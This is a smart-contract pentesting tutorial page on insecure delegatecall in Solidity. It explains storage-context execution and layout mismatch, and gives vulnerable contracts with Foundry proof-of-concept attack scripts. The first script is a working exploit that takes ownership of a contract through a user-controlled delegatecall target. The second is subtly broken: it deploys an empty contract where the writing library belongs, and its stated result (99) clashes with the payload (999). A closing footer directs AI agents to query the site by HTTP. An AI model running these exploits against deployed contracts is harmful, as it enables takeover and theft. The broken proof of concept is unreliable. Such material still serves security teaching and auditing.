# Insecure DelegateCall

## Theory

`delegatecall` is one of the most dangerous low-level operations in Solidity. When misused, it can lead to arbitrary code execution, storage corruption, ownership takeover, and complete contract compromise.

`delegatecall` invokes code from another contract, **but executes it in the caller's context**.\
This means:

* `msg.sender` remains the original caller
* `msg.value` is unchanged
* The code runs with the caller’s storage layout
* State variables are written to the caller’s storage slots
* The callee’s storage is ignored entirely

Essentially, the callee’s contract becomes a *logic extension* of the caller.

<figure><img src="/files/In0ixpkuFI8z6eE0spSC" alt="delegateCall schema"><figcaption></figcaption></figure>

This makes `delegatecall` extremely dangerous as the delegated contract runs with full authority and writes to the caller’s storage, a single unsafe `delegatecall` can compromise the entire system.

#### **Storage Layout Dependency**

Because the callee reads and writes storage **as if it owned the caller’s storage**, security fully depends on **strictly matching storage layouts**:

| Slot | Proxy Storage  | Library Storage |
| ---- | -------------- | --------------- |
| 0    | owner          | ???             |
| 1    | implementation | ???             |
| 2    | userBalance    | ???             |

If the library’s first variable is not `owner`, then calling it using `delegatecall` **overwrites the wrong slot**, corrupting the state.

## Practice

{% tabs %}
{% tab title="User-Controlled Address" %}
**Arbitrary Code Execution via User-Controlled Address**

When a contract allows the caller to specify the target address for `delegatecall`, it effectively grants them full code execution authority.

Since the delegated code runs in the caller’s storage context, an attacker can deploy a malicious contract and force the caller to execute it, modifying critical storage values such as ownership variables.

```solidity
// Vulnerable Contract
pragma solidity ^0.8.13;

contract Executor {
    address public lib;
    address public owner;

    function execute(bytes memory data, address target) public {
        target.delegatecall(data);   // User controls delegatecall target
    }
}

```

The attacker simply needs to provide a malicious implementation and the encoded function call.

```solidity
// PoC
// forge script scripts/DelegatecallArbitraryExec.s.sol --rpc-url $RPC_URL --broadcast
pragma solidity ^0.8.0;

import "forge-std/Script.sol";

interface IExecutor {
    function execute(bytes calldata, address) external;
}

contract Attack {
    address public lib;
    address public owner;

    function pwn() external {
        owner = msg.sender;
    }
}

contract DelegatecallArbitraryExec is Script {
    function run() external {
        vm.startBroadcast();

        IExecutor exec = IExecutor(vm.envAddress("EXECUTOR"));
        Attack attack = new Attack();

        bytes memory payload = abi.encodeWithSignature("pwn()");

        exec.execute(payload, address(attack));

        vm.stopBroadcast();
    }
}
```

{% endtab %}

{% tab title="Layout Mismatch" %}
**Storage Corruption Through Layout Mismatch**

Even when the target contract is trusted, a mismatch in storage layout guarantees corruption.

```solidity
pragma solidity ^0.8.0;

contract StorageContract {
    uint256 public a;     // slot 0
    uint256 public b;     // slot 1
    address public lib;   // slot 2

    function run(address _lib, bytes calldata data) external {
        _lib.delegatecall(data);
    }
}

contract Library {
    uint256 public temp; // slot 0 (overwrites StorageContract.a)

    function write(uint256 x) external {
        temp = x;
    }
}
```

After execution of this PoC, the storage slot a will be 99

```solidity
// forge script scripts/DelegatecallStorageCorruption.s.sol --broadcast
pragma solidity ^0.8.0;

import "forge-std/Script.sol";

interface IStorageContract {
    function run(address, bytes calldata) external;
}

contract LibraryWriter {}

contract DelegatecallStorageCorruption is Script {
    function run() external {
        vm.startBroadcast();

        IStorageContract target = IStorageContract(vm.envAddress("TARGET"));
        LibraryWriter lib = new LibraryWriter();

        bytes memory payload = abi.encodeWithSignature("write(uint256)", 999);

        target.run(address(lib), payload);

        vm.stopBroadcast();
    }
}
```

{% endtab %}
{% endtabs %}

## Resources

{% embed url="<https://beta.hackndo.com/ethereum-virtual-machine/>" %}

{% embed url="<https://scs.owasp.org/SCWE/SCSVS-COMM/SCWE-035/>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://red.infiltr8.io/smart-contracts-pentesting/vulnerabilities/evm-attack-surfaces/insecure-delegatecall.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
